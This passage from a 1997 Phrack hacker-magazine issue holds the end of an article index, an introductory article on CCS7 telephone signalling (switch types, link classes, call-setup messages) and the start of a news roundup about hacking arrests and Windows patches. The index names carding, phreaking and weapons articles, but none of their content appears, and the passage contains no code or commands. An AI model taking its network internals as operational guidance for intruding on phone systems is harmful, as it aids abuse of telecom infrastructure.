|
VaxBuster authored
|
|||
|
"TTY Spoofing" 1992. I41 F8 20k
|
|||
|
"Safe and Easy Carding" 1993. I44 F20 18k
|
|||
|
VAXBusters International authored
|
|||
|
"Advanced BITNET Procedures" 1989. I24 F7 k
|
|||
|
"Getting Serious About VMS Hacking" 1989. I23 F8 13k
|
|||
|
|
|||
|
Vendetta authored
|
|||
|
"The Postal Inspection Service" 1989. I27 F9 14k
|
|||
|
|
|||
|
Vince Niel authored
|
|||
|
"The Freedom of Information Act and You" 1992. I42 F12 42k
|
|||
|
"VisaNet Operations Part I" by Ice Jey. 1994. I46 F15 50k
|
|||
|
"VisaNet Operations Part 2" by Ice Jey. 1994. I46 F16 44k
|
|||
|
Visionary authored
|
|||
|
"Visionary-The Story About Him" 1993. I44 F17 23k
|
|||
|
"Visionary-The Story About Him" by Visionary. 1993. I44 F17 23k
|
|||
|
|
|||
|
VM/CMS OPERATING SYSTEM
|
|||
|
"A Beginner's Guide to The IBM VM/370" by Elric of Imryrr. I10 F4 4k
|
|||
|
"Hacking VM/CMS" by Goe. 1989. I30 F4 58k
|
|||
|
"Operating The IBM VM/SP CP" by Taran King. 1989. I27 F2 38k
|
|||
|
"VMS Information" by Various Sources. 1994. I45 F15 34k
|
|||
|
|
|||
|
VOICE MAIL SYSTEMS
|
|||
|
"Centigram Voice Mail System Consoles" by >Unknown User<. 1992. I39 F6 36k
|
|||
|
"The Complete Guide to Hacking Meridian Voice Mail" by Substance. 1995.
|
|||
|
I47 F15 10k
|
|||
|
"Fun With The Centagram VMS Network" by Oryan Quest. 1986. I9 F3 4k
|
|||
|
"Rolm Systems" by Monty Python. 1986. I3 F2 11k
|
|||
|
"Skytel Paging and Voicemail" by pbxPhreak. 1997. I50 F10 36k
|
|||
|
"Startalk" by The Red Skull. 1994. I46 F18 21k
|
|||
|
"Hacking Voice Mail Systems" by Black Knight from 713. 1987. I11 F4 6k
|
|||
|
"Hacking Voice Mail Systems" by Night Ranger. 1991. I34 F6 19k
|
|||
|
|
|||
|
Voyager authored
|
|||
|
"The #hack FAQ (Part 1)" 1995. I47 F5 39k
|
|||
|
"The #hack FAQ (Part 2)" 1995. I47 F6 38k
|
|||
|
"The #hack FAQ (Part 3)" 1995. I47 F7 51k
|
|||
|
"The #hack FAQ (Part 4)" 1995. I47 F8 47k
|
|||
|
"Telephone Company Customer Applications" 1996. I49 F13 38k
|
|||
|
Voyager was Pro-Philed in 1996. I48 F5 23k
|
|||
|
|
|||
|
|
|||
|
** W **
|
|||
|
|
|||
|
WAREZ
|
|||
|
"A Day in The Life of a Warez Broker" by Xxxx Xxxxxxxx. 1995. I47 F20 13k
|
|||
|
"*ELITE* Access" by Dead Lord & Lord Digital(Lords Anonymous). 1991.
|
|||
|
I36 F5 43k
|
|||
|
"Pirate's Cove" by Rambone. 1992. I37 F3 8k
|
|||
|
"Pirate's Cove" by Rambone. 1992. I38 F3 23k
|
|||
|
"Pirate's Cove" by Rambone. 1992. I40 F5 57k
|
|||
|
"Pirate's Cove" by Rambone. 1992. I41 F5 32k
|
|||
|
WEAPONS
|
|||
|
"Blowguns" by The Pyro. 1985. I2 F4 3K 3K
|
|||
|
"Building a Shock Rod" by Circle Lord. 1986. I3 F8 3k
|
|||
|
"Homemade Guns" by Man-Tooth. 1985. I2 F3 7k
|
|||
|
|
|||
|
"Welcome to Metal Shop Private" by Taran King, Knight Lightning, and
|
|||
|
Cheap Shades. 1988. I20 F4 37k
|
|||
|
"Western Union Telex, TWX, and Time Service" by Phone Phanatic. 1989.
|
|||
|
I30 F10 13k
|
|||
|
White Knight co-authored
|
|||
|
"Quentin Strikes Again" 1994. I45 F12 28k
|
|||
|
|
|||
|
WIDE AREA NETWORKS (Internet, BITNET, ArpaNET, Usenet, UUCP, TCP/IP, etc.)
|
|||
|
"Advanced BITNET Procedures" by VAXBusters International. 1989. I24 F7 k
|
|||
|
"Content-Blind Cancelbot" by Dr. Dimitri Vulis. I49 F9 40k
|
|||
|
"Covert Paths" by Cyber Neuron Limited and SynThecide. 1989. I29 F5 4k
|
|||
|
"The DECWRL Mail Gateway" by Dedicated Link. 1989. I30 F5 23k
|
|||
|
"A Few Things About Networks" by Prime Suspect. 1988. I18 F9 21k
|
|||
|
"Foundations on The Horizon; Chapter Two of FTSaga" by Knight Lightning.
|
|||
|
1989. I23 F5 27k
|
|||
|
"Frontiers; Chapter Four of FTSaga" by Knight Lightning. 1989. I24 F4 25k
|
|||
|
"Future Trancendent Saga Index A" from The BITNET Services Library. 1989.
|
|||
|
I23 F6 14k
|
|||
|
"Future Trancendent Saga Index B" from The BITNET Services Library. 1989.
|
|||
|
I23 F7 17k
|
|||
|
"Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" by Phrack Inc.
|
|||
|
1989. I26 F8 20k
|
|||
|
"Introduction to The Internet Protocols I: Chapter Eight of The FTS" by
|
|||
|
Knight Lightning. 1989. I28 F3 39k
|
|||
|
"Introduction to The Internet Protocols II: Chapter Nine of The FTS" by
|
|||
|
Knight Lightning. 1989. I29 F3 43k
|
|||
|
"Introduction to The MIDNET: Chapter Seven of The FTS" by Knight Lightning.
|
|||
|
1989. I27 F3 35k
|
|||
|
"IP-Spoofing Demystified" by daemon9. 1996. I48 F13 25k
|
|||
|
"Limbo to Infinity; Chapter Three of FTSaga" by Knight Lightning. 1989.
|
|||
|
I24 F3
|
|||
|
"Network Management Center" by Knight Lightning and Taran King. 1988.
|
|||
|
I21 F6
|
|||
|
"Network Miscellany" by Racketeer. 1992. I40 F4 32k
|
|||
|
"Network Miscellany" by Racketeer. 1992. I41 F4 35k
|
|||
|
"Network Miscellany" by Taran King. 1989. I28 F4 30k
|
|||
|
"Network Miscellany II" by Taran King. 1989. I29 F4 35k
|
|||
|
"Network Miscellany III" by Taran King. 1989. I30 F2 21k
|
|||
|
"Network Miscellany IV" by Datastream Cowboy 1992. I38 F5 30k
|
|||
|
"Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
|
|||
|
"Network Progression" by Dedicated Link. 1989. I24 F10 5k
|
|||
|
"NSFnet: National Science Foundation Network" by Knight Lightning. 1989.
|
|||
|
I26 F4
|
|||
|
"Project Hades: TCP Weakness" by daemon9. 1996. I49 F7 38k
|
|||
|
"Project Loki: ICMP Tunneling" by daemon9/alhambra. 1996. I49 F7 38k
|
|||
|
"Project Neptune" by daemon9. 1996. I48 F13 52k
|
|||
|
"A Report on The Internet Worm" by Bob Page. 1988. I22 F8 16k
|
|||
|
"Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
|
|||
|
"SNMP insecurities" by alhambra. 1997. I50 F7 20k
|
|||
|
"SPAN: Space Physics Analysis Network" by Knight Lightning. 1989.
|
|||
|
I25 F4 47k
|
|||
|
"TAC info" Unknown Author. 1985. I2 F5 14K
|
|||
|
"TCP/IP: A Tutorial Part 1 of 1" by The Not. 1991 I33 F8 28k
|
|||
|
"TCP/IP: A Tutorial Part 2 of 2" by The Not. 1991 I34 F8 39k
|
|||
|
"TCP port Stealth Scanning" by Uriel I49 F15 32k
|
|||
|
"Utopia; Chapter One of FTSaga" by Knight Lightning. 1989. I23 F4 20k
|
|||
|
"Wide Area Information Services" by Mycroft 1992. I38 F8 11k
|
|||
|
"Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
|
|||
|
"Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k
|
|||
|
|
|||
|
"Wide Area Information Services" by Mycroft 1992. I38 F8 11k
|
|||
|
Wing Ding authored
|
|||
|
"The History ah MOD" 1991. I36 F4 23k
|
|||
|
Winn Schwartau authored
|
|||
|
"Cyber Christ Meets Lady Luck Part I" 1994. I46 F19 45k
|
|||
|
"Cyber Christ Meets Lady Luck Part II" 1994. I46 F20 42k
|
|||
|
"Cyber Christ Bites The Big Apple" 1994. I46 F23 60k
|
|||
|
White Knight co-authored
|
|||
|
"Exploring Information-America" 1992. I37 F4 51k
|
|||
|
"Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
|
|||
|
"Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k
|
|||
|
"The Wonderful World of Pagers" by Erik Bloodaxe. 1994. I46 F8
|
|||
|
|
|||
|
|
|||
|
** X **
|
|||
|
|
|||
|
|
|||
|
X.25 PACKET SWITCHING NETWORKS (SprintNet, Telenet, Tymnet, X.121 etc.)
|
|||
|
"A Few Things About Networks" by Prime Suspect. 1988. I18 F9 21k
|
|||
|
"An Introduction to Packet Switched Networks" by Epsilon. 1988. I18 F3 12k
|
|||
|
"BT Tymnet, Part 1/3" by Toucan Jones. 1992. I40 F8 57k
|
|||
|
"BT Tymnet, Part 2/3" by Toucan Jones. 1992. I40 F9 55k
|
|||
|
"BT Tymnet, Part 3/3" by Toucan Jones. 1992. I40 F10 91k
|
|||
|
"Datapac" by Synapse. 1993. I44 F21 36k
|
|||
|
"Exploring Information-America" by The Omega & White Knight. 1992. I37 F4 51k
|
|||
|
"Hacking and Tymnet" by SynThecide. 1989. I30 F3 20k
|
|||
|
"Network Miscellany" by Racketeer. 1992. I40 F4 32k
|
|||
|
"Network Miscellany" by Racketeer. 1992. I41 F4 35k
|
|||
|
"Network Miscellany" by Taran King. 1989. I28 F4 30k
|
|||
|
"Network Miscellany II" by Taran King. 1989. I29 F4 35k
|
|||
|
"Network Miscellany III" by Taran King. 1989. I30 F2 21k
|
|||
|
"Network Miscellany IV" by Datastream Cowboy 1992. I38 F5 30k
|
|||
|
"Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
|
|||
|
"NUA List for Datex-P and X.25 Networks" by Oberdaemon. 1989. I27 F4 105k
|
|||
|
"Sprintnet Directory Part 1/3" by Skylar. 1992. I42 F8 49k
|
|||
|
"Sprintnet Directory Part 2/3" by Skylar. 1992. I42 F9 45k
|
|||
|
"Sprintnet Directory Part 3/3" by Skylar. 1992. I42 F10 46k
|
|||
|
"TAMS and Telenet Security" by Phreak_Accident. 1990. I31 F4 7k
|
|||
|
"Tymnet Diagnostic Tools" by Professor Falken. 1992. I42 F5 35k
|
|||
|
"Tymnet Security Memo" by Anonymous. 1990. I31 F7 9k
|
|||
|
"Wide Area Information Services" by Mycroft 1992. I38 F8 11k
|
|||
|
"Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
|
|||
|
"Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k
|
|||
|
Xxxx Xxxxxxxx authored
|
|||
|
"A Day in The Life of a Warez Broker" 1995. I47 F20 13k
|
|||
|
|
|||
|
|
|||
|
** Y **
|
|||
|
|
|||
|
|
|||
|
"Yet AnoTher File on Hacking Unix" by >Unknown User<. 1988. I22 F6 19k
|
|||
|
"Your New Windows Background (Part 1)"<unencoded> by The Man. 1995. I47 F17 39k
|
|||
|
"Your New Windows Background (Part 2)"<unencoded> by The Man. 1995. I47 F18 46k
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 15 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ A Brief Introduction to CCS7
|
|||
|
|
|||
|
|
|||
|
--------[ Narbo[SLF] <narbo@xeo.net>
|
|||
|
|
|||
|
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
o Introduction o
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
|
|||
|
Every day it seems that the telcos introduce some funky new calling
|
|||
|
feature to make your life easier. I'm sure at one point or another you've
|
|||
|
probably wondered exactly how all of these calling features work. The
|
|||
|
answer? Common Channel Interoffice Signaling or CCS7.
|
|||
|
|
|||
|
CCS7 is somewhat analogous to TCP/IP in that it is a protocol that
|
|||
|
allows networked computers (in this case telephone switches) to talk to each
|
|||
|
other. It maps onto the OSI 7 Layer Reference Model model as such:
|
|||
|
|
|||
|
--------------- ------------------------------
|
|||
|
Application 7 OMAP | ASE |
|
|||
|
--------------- -------------
|
|||
|
Presentation 6 TCAP |
|
|||
|
--------------- -------------
|
|||
|
Session 5 |
|
|||
|
--------------- | ISDN-UP
|
|||
|
Transport 4 |
|
|||
|
--------------- --------------
|
|||
|
SCCP |
|
|||
|
Network 3 ------------------------------
|
|||
|
MTP Level 3
|
|||
|
--------------- ------------------------------
|
|||
|
Data Link 2 MTP Level 2
|
|||
|
--------------- ------------------------------
|
|||
|
Physical 1 MTP Level 1
|
|||
|
--------------- ------------------------------
|
|||
|
|
|||
|
Legend:
|
|||
|
|
|||
|
OMAP: Operations, Maintenance and Administration Part
|
|||
|
ASE : Application Service Layer
|
|||
|
TCAP: Transaction Capabilities Application Part
|
|||
|
SCCP: Signaling Connection Control Part
|
|||
|
ISDN-UP: Integrated Systems Digital Network User Part
|
|||
|
MTP : Message Transfer Part
|
|||
|
|
|||
|
This article will provide an introduction to how the network is
|
|||
|
set up, how messaging is done, and a brief example of a call setup/takedown.
|
|||
|
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
o History o
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
|
|||
|
AT&Ts introduction of CCIS (Common Channel Interoffice Signaling)
|
|||
|
in 1976 brought a radical change to the way signaling was handled. Before
|
|||
|
the advent of CCIS all signaling was done in band using the same trunks that
|
|||
|
would be used for customer conversations. Instead of sending all information
|
|||
|
over the voice circuits (trunks) a new network was created specifically for
|
|||
|
signaling.
|
|||
|
|
|||
|
AT&T began immediate deployment of CCIS technology and the CCITT
|
|||
|
(Consultative Committee for International Telephone and Telegraph) adopted it
|
|||
|
as an international standard called SS6 (Signaling System 6). The current
|
|||
|
version of the protocol is CCS7 (Common Channel Signaling System 7) and is
|
|||
|
prevalent throughout North America.
|
|||
|
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
o Switches o
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
|
|||
|
CCS7 networks are based on a mesh of links connecting switches like the
|
|||
|
following:
|
|||
|
|
|||
|
|
|||
|
###(SP) {SCP}---A---[STP] -B-- [STP]
|
|||
|
# | / | \ / | \
|
|||
|
# F / | \ / | \
|
|||
|
# | / C BB C \ ###########
|
|||
|
###(SSP) D | / \ | \ # #
|
|||
|
# | \ / [STP] -B-- [STP] D (SSP)---F #
|
|||
|
# A A / / / \ \ A | #
|
|||
|
# | \ / / A \ \ | | #
|
|||
|
# [STP] --B- [STP] / / \ [STP] --B- [STP]-A-(SSP)##
|
|||
|
# | \ / | D {SCP} D | \ / | | #
|
|||
|
# | \ / | / \ | \ / | | #
|
|||
|
# C BB C / \ C BB C | #
|
|||
|
# | / \ | / \ | / \ | | #
|
|||
|
# [STP] --B- [STP] [STP] --B- [STP] | #
|
|||
|
# | | | #
|
|||
|
# |--(SSP) |--------E---------| #
|
|||
|
# # #
|
|||
|
###########################################################################
|
|||
|
|
|||
|
# = Trunks
|
|||
|
- = CCS7 links
|
|||
|
|
|||
|
Explanation:
|
|||
|
|
|||
|
STP (Signal Transfer Point):
|
|||
|
|
|||
|
STPs are tandem switches which act as the routers of the CCS7 network.
|
|||
|
They transfer messages between incoming and outgoing signaling links but do not
|
|||
|
originate messages other then those used for network management. Since their
|
|||
|
sole function is to act as routers, STPs have NO trunks attached to them. STPs
|
|||
|
are grouped into mated pairs. These pairs are grouped into the quads you see
|
|||
|
in the above diagram. This is all done for the sake of redundancy.
|
|||
|
|
|||
|
SCP (Signal Control Point):
|
|||
|
|
|||
|
SCPs act as the application database servers for the CCS7 network.
|
|||
|
SSPs make database queries through the STPs to the SCPs for such things as
|
|||
|
800 number lookups. As they are not used for direct line connections SCPs also
|
|||
|
do not have trunks attached to them. SCPs are the least common type of switch;
|
|||
|
for instance, in Canada, there are only two SCPs, one of which is in Calgary,
|
|||
|
the other in Toronto.
|
|||
|
|
|||
|
SSP (Service Switching Point) and SP (Service Point):
|
|||
|
|
|||
|
SSPs and SPs are the most common switches (despite my diagram :)) and
|
|||
|
are deployed as EO (End Office) switches and in PBXs (Private Branch Exchanges).
|
|||
|
On average each SSP can handle about 100,000 - 125,000 lines. Of course the
|
|||
|
amount of trunks actually available on the switch is considerably smaller then
|
|||
|
the amount of incoming lines; the telcos have various modeling algorithms that
|
|||
|
predict the maximum amount of trunks that will actually be used which is why
|
|||
|
occasionally when, say, a U2 concert hits town a switch can run out of
|
|||
|
available trunks as people rush the phones for tickets. SSPs and SPs differ
|
|||
|
only on that the former can enact SCP database queries while the latter cannot.
|
|||
|
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
o Links o
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
|
|||
|
A CCS7 link is nothing more then a dedicated 56/64K trunk. There are
|
|||
|
various classifications of link types: (Refer to the previous diagram for
|
|||
|
examples)
|
|||
|
|
|||
|
A Links:
|
|||
|
|
|||
|
Connect SSP/SPs and SCPs to STPs.
|
|||
|
|
|||
|
B (Bridge) Links:
|
|||
|
|
|||
|
Connect two STP pairs together to form an STP quad.
|
|||
|
|
|||
|
C (Cross) Links:
|
|||
|
|
|||
|
Connect mated STP pairs together.
|
|||
|
|
|||
|
D Links:
|
|||
|
|
|||
|
Interconnect STP quads.
|
|||
|
|
|||
|
E Links:
|
|||
|
|
|||
|
Connect SSP/SPs or SCPs to a STP pair other than their "home" pair.
|
|||
|
|
|||
|
F Links:
|
|||
|
|
|||
|
Connect SSP/SPs and SCPs to each other.
|
|||
|
|
|||
|
Links are joined together to form linksets. A linkset is defined as all
|
|||
|
the links connecting one node in the network to another node. Directly
|
|||
|
analogous to linksets are routesets which map out the paths to all the other
|
|||
|
nodes in the network by associating a cost with each possible linkset the
|
|||
|
message could go out on.
|
|||
|
|
|||
|
If that sounded confusing (and I know it did) here is a small example.
|
|||
|
Consider the following subsection from our bigger network:
|
|||
|
|
|||
|
###(SP1)
|
|||
|
# |
|
|||
|
# |
|
|||
|
# |
|
|||
|
###(SSP1)
|
|||
|
# | \
|
|||
|
# L1 L2
|
|||
|
# | \
|
|||
|
# [STP1] ---- [STP2]--
|
|||
|
# | \ / | |
|
|||
|
# | \ / | |
|
|||
|
# | \/ | |
|
|||
|
# | / \ | |
|
|||
|
# [STP3] ---- [STP4] |
|
|||
|
# \ /
|
|||
|
# (SSP2)
|
|||
|
# #
|
|||
|
######################
|
|||
|
|
|||
|
|
|||
|
Say SSP1 wants to send a message to SSP2. The routeset to SSP2 on SSP1
|
|||
|
will be datafilled with two possible linksets that could be used; namely the
|
|||
|
ones going to STP1 and STP2. However, it's obvious that using L2 would be more
|
|||
|
efficient, taking 2 hops instead of 3, via L1. On the switch this would be
|
|||
|
noted by L2 having a lower cost than L1.
|
|||
|
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
o Call Setup Example o
|
|||
|
0o0o0o0o0o0o0o0o0o0o0o0o0
|
|||
|
|
|||
|
Call setup and takedown using CCS7 is handled by a subset of the
|
|||
|
protocol called ISDN-UP (Integrated Services Digital Network User Part). There
|
|||
|
are many messages belonging in this subset but only five are needed to make a
|
|||
|
phone call.
|
|||
|
|
|||
|
Let's say I want to call Dr. Sardu using the network from the previous
|
|||
|
example. The good doctor's phone is serviced by SSP2 while mine is serviced
|
|||
|
by SSP1. When I pick up my phone the switch will detect that it is off the
|
|||
|
hook and send a dial tone. After dialing, an IAM (Initial Address Message)
|
|||
|
will go out on the network from SSP1 to SSP2. Assuming all goes well (the
|
|||
|
phone is not busy, etc...) an ACM (Address Complete Message) will come back
|
|||
|
from SSP2 to SSP1. It is at this time that I hear the first ring tone in my
|
|||
|
receiver. The moment the other party picks up and all the trunks are seized
|
|||
|
an ANM (Answer Message) is sent from SSP2 to SSP1 and upon reception of this
|
|||
|
message billing starts (A few ms of free phone time. Woo woo!). When the
|
|||
|
conversation is complete and one party hangs up, its switch will send an REL
|
|||
|
(Release Message) and upon reception the other party will hear the "click" of
|
|||
|
the phone being hung up. When he then hangs up the final RCL (Release Complete)
|
|||
|
message will be sent and the seized trunks will return to idle.
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 16 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K W O R L D N E W S
|
|||
|
|
|||
|
|
|||
|
--------[ Issue 51
|
|||
|
|
|||
|
|
|||
|
0x1: Illinois man arrested after threatening Bill Gates
|
|||
|
0x2: Man Arrested In Tokyo On Hacker Charges
|
|||
|
0x3: FBI says hacker sold 100,000 credit card numbers
|
|||
|
0x4: MS Security Plugs Not Airtight
|
|||
|
0x5: BSA slams DTI's Encryption Plans
|
|||
|
0x6: Teen bypasses blocking software
|
|||
|
0x7: The Power to Moderate is the Power to Censor
|
|||
|
0x8: AOL Users in Britain Warned of Surveillance
|
|||
|
0x9: Georgia Expands the "Instruments of Crime"
|
|||
|
0xa: NASA Nabs Teen Computer Hacker
|
|||
|
0xb: Agriculture Dept. Web Site Closed after Security Breach
|
|||
|
0xc: Hackers Smash US Government Encryption Standard
|
|||
|
0xd: Hacker May Stolen JonBenet computer Documents
|
|||
|
0xe: Hacker Vows 'Terror' for Pornographers
|
|||
|
0xf: Mitnick Gets 22 Month Sentence
|
|||
|
0x10: New York Judge Prohibits State Regulation of Internet
|
|||
|
0x11: Breaking the Crypto Barrier
|
|||
|
0x12: Setback in Efforts to Secure Online Privacy
|
|||
|
0x13: Captain Crunch Web Site Now Moved
|
|||
|
0x14: US Justive Dept. Investigating Network Solutions
|
|||
|
0x15: Cyber Patrol Bans Crypt Newsletter
|
|||
|
0x16: Some humor on media hacks and hackers
|
|||
|
0x17: Court Mixes Internet Smut Provision
|
|||
|
|
|||
|
0x1: Book Title: Underground
|
|||
|
0x2: Book Title: "Hackers"
|
|||
|
|
|||
|
0x1: Convention: Cybercrime Conference Announcement
|
|||
|
0x2: Convention: Computers & The Law IV Symposium
|
|||
|
|
|||
|
|
|||
|
0x1>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Title: Illinois man arrested after threatening Bill Gates
|
|||
|
Source: Reuter
|
|||
|
Author: unknown
|
|||
|
|
|||
|
SEATTLE (Reuter) - An Illinois man has been arrested and charged with
|
|||
|
threatening to kill Microsoft Corp. Chairman Bill Gates in a $5
|
|||
|
million extortion plot, authorities said on Friday.
|
|||
|
|
|||
|
Adam Pletcher was arrested on May 9 in the Chicago suburb of Long
|
|||
|
Grove, where he lives with his parents, and charged with extortion,
|
|||
|
federal prosecutors said. He was freed on $100,000 bond and is due to
|
|||
|
appear in U.S. District Court in Seattle on Thursday for arraignment.
|
|||
|
|
|||
|
According to court documents, Pletcher sent four letters to Gates,
|
|||
|
beginning in March, threatening to kill the software company founder
|
|||
|
and his wife, Melinda, unless payment of at least $5 million was made.
|
|||
|
|
|||
|
The first letter was intercepted at the company's headquarters in
|
|||
|
Redmond, Washington, by corporate security officers, who contacted the
|
|||
|
FBI.
|
|||
|
|
|||
|
Agents then used an America Online dating service specified by the
|
|||
|
author of the letters to track down Pletcher, described as a loner in
|
|||
|
his early 20s who spends much of his time in front of the computer.
|
|||
|
|
|||
|
Authorities said they treated the threats seriously but did not
|
|||
|
believe Gates' life was ever in danger.
|
|||
|
|
|||
|
"We generally think this was a kid with a rich fantasy life, just
|
|||
|
living that out," said Tom Ziemba, a spokesman for U.S. Attorney
|
|||
|
Katrina Pflaumer.
|
|||
|
|
|||
|
"This was handled in a fairly routine fashion by Microsoft security
|
|||
|
and law enforcement agencies," Microsoft spokesman Mark Murray said.
|
|||
|
"At some point in the investigation Microsoft did make Bill aware of
|
|||
|
the situation."
|
|||
|
|
|||
|
Pletcher's online activities have landed him in trouble before.
|
|||
|
|
|||
|
In February the Illinois attorney general sued Pletcher, accusing him
|
|||
|
of defrauding consumers of thousands of dollars in an alleged Internet
|
|||
|
scam, according to a story in the Chicago Tribune. Several consumers
|
|||
|
complained they sent Pletcher up to $5,500 to find them a car deal and
|
|||
|
never got their money back.
|
|||
|
|
|||
|
Despite his status as richest man in America, with a Microsoft stake
|
|||
|
valued at more than $30 billion, Gates is still known to travel alone
|
|||
|
on regularly scheduled flights. But Murray said the executive was
|
|||
|
well-protected.
|
|||
|
|
|||
|
"We don't comment at all on Bill's security other than to say that
|
|||
|
there are extensive and appropriate security measures in place for
|
|||
|
Bill, for his family and for Microsoft facilities and personnel,"
|
|||
|
Murray said.
|
|||
|
|
|||
|
0x2>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Man Arrested In Tokyo On Hacker Charges
|
|||
|
Source: unknown
|
|||
|
Author: unknown
|
|||
|
|
|||
|
TOKYO (May 23, 1997 10:31 a.m. EDT) - A 27-year-old Japanese man was
|
|||
|
arrested Friday on suspicion of breaking into an Internet home page of
|
|||
|
Asahi Broadcasting Corp. and replacing it with pornography, a police
|
|||
|
spokesman said.
|
|||
|
|
|||
|
Koichi Kuboshima, a communications equipment firm employee from Saitama
|
|||
|
Prefecture, north of Tokyo, was arrested on charges of interrupting
|
|||
|
business by destroying a computer network.
|
|||
|
|
|||
|
It was the first arrest related to illegal access to the information
|
|||
|
network, the police spokesman said, adding Kuboshima was also charged
|
|||
|
with displaying obscene pictures, the spokesman said.
|
|||
|
|
|||
|
The suspect admitted to the crime, telling police he had done it for
|
|||
|
fun, police officials said.
|
|||
|
|
|||
|
The Osaka-based broadcasting network blocked access to all of its home
|
|||
|
pages on Sunday immediately after it was notified of the offense by an
|
|||
|
Internet user.
|
|||
|
|
|||
|
The Asahi home page is designed to allow users to download and upload
|
|||
|
information, which allowed Kuboshima to rewrite the contents, the
|
|||
|
spokesman said.
|
|||
|
|
|||
|
0x3>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: FBI says hacker sold 100,000 credit card numbers
|
|||
|
Source: unknown
|
|||
|
Author: unknown
|
|||
|
|
|||
|
SAN FRANCISCO (May 23, 1997 10:13 a.m. EDT) -- A clever hacker slipped
|
|||
|
into a major Internet provider and gathered 100,000 credit card
|
|||
|
numbers along with enough information to use them, the FBI said
|
|||
|
Thursday.
|
|||
|
|
|||
|
Carlos Felipe Salgado, Jr., 36, who used the online name "Smak,"
|
|||
|
allegedly inserted a program that gathered the credit information from
|
|||
|
a dozen companies selling products over the Internet, said FBI
|
|||
|
spokesman George Grotz.
|
|||
|
|
|||
|
[Secure electronic commerce is a novel idea.]
|
|||
|
|
|||
|
Salgado allegedly tried to sell the credit information to an
|
|||
|
undercover agent for $260,000. He was arrested Wednesday and faces a
|
|||
|
maximum 15 years in prison and $500,000 in fines if convicted on
|
|||
|
charges of unauthorized access of computers and trafficking in stolen
|
|||
|
credit card numbers.
|
|||
|
|
|||
|
"What is unique about this case is that this individual was able to
|
|||
|
hack into this third party, copy this information and encrypt it to be
|
|||
|
sold," Grotz said.
|
|||
|
|
|||
|
[Since we know others have hacked in and stolen credit cards before,
|
|||
|
the unique part is him trying to sell them. That isn't in keeping
|
|||
|
with what federal agents love to say about hackers and credit card
|
|||
|
incidents. Convenient how they change things like that.]
|
|||
|
|
|||
|
Had it succeeded, "at minimum we'd have 100,000 customers whose
|
|||
|
accounts could have been compromised and would not have known it until
|
|||
|
they got their bill at the end of the month," the FBI spokesman said.
|
|||
|
|
|||
|
The scheme was discovered by the unidentified San Diego-based Internet
|
|||
|
provider during routine maintenance. Technicians found an intruder had
|
|||
|
placed a program in their server called a "packet sniffer," which
|
|||
|
locates specified blocks of information, such as credit card numbers.
|
|||
|
|
|||
|
[Uh...more like they kept a nice ascii database full of the numbers
|
|||
|
that was copied with expert technique like "cp ccdb"...]
|
|||
|
|
|||
|
The FBI traced the intruder program to Salgado, who was using an
|
|||
|
account with the University of California-San Francisco.
|
|||
|
|
|||
|
A school spokeswoman said officials have not yet determined whether
|
|||
|
Salgado attended or worked at the school, or how he got access to the
|
|||
|
account.
|
|||
|
|
|||
|
With the cooperation of a civilian computer user who was in
|
|||
|
communication with Salgado, the FBI arranged to have an undercover
|
|||
|
agent buy the stolen credit card information.
|
|||
|
|
|||
|
After making two small buys, the FBI agents arranged to meet Salgado
|
|||
|
on Wednesday at San Francisco International Airport to pay $260,000
|
|||
|
for 100,000 credit card numbers with credit limits that ranged up to
|
|||
|
$25,000 each.
|
|||
|
|
|||
|
After decrypting and checking that the information was valid, Salgado
|
|||
|
was taken into custody at his parents' house in Daly City. Salgado
|
|||
|
waived his rights and acknowledged breaking into computers, including
|
|||
|
the San Diego company, according to the affidavit.
|
|||
|
|
|||
|
The FBI has not found any evidence Salgado made any purchases with the
|
|||
|
numbers himself, the spokesman said, but the investigation is
|
|||
|
continuing.
|
|||
|
|
|||
|
Salgado appeared before a federal magistrate Thursday and was released
|
|||
|
on a $100,000 personal bond. Grotz said that as a condition of bail,
|
|||
|
"the judge forbids him to come anywhere near a computer."
|
|||
|
|
|||
|
|
|||
|
0x4>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: MS Security Plugs Not Airtight
|
|||
|
Source: unknown
|
|||
|
Author: Nick Wingfield
|
|||
|
|
|||
|
(May 22, 1997, 12:45 p.m. PT) Microsoft (MSFT) is still struggling to
|
|||
|
completely patch Windows 95 and NT against Internet hacker attacks.
|
|||
|
|
|||
|
The company has posted a software patch that protects Windows 95 users
|
|||
|
from an attack that can crash their computers. The company issued a
|
|||
|
similar patch for Windows NT last week.
|
|||
|
|
|||
|
But both the Windows NT and 95 patches aren't complete prophylactics for
|
|||
|
so-called out-of-band data attacks since both platforms can still be
|
|||
|
crashed by hackers with Macintosh and Linux computers. Microsoft said
|
|||
|
today that it hopes to post new patches by tonight that remedy the
|
|||
|
vulnerability to Mac- and Linux-based attacks.
|
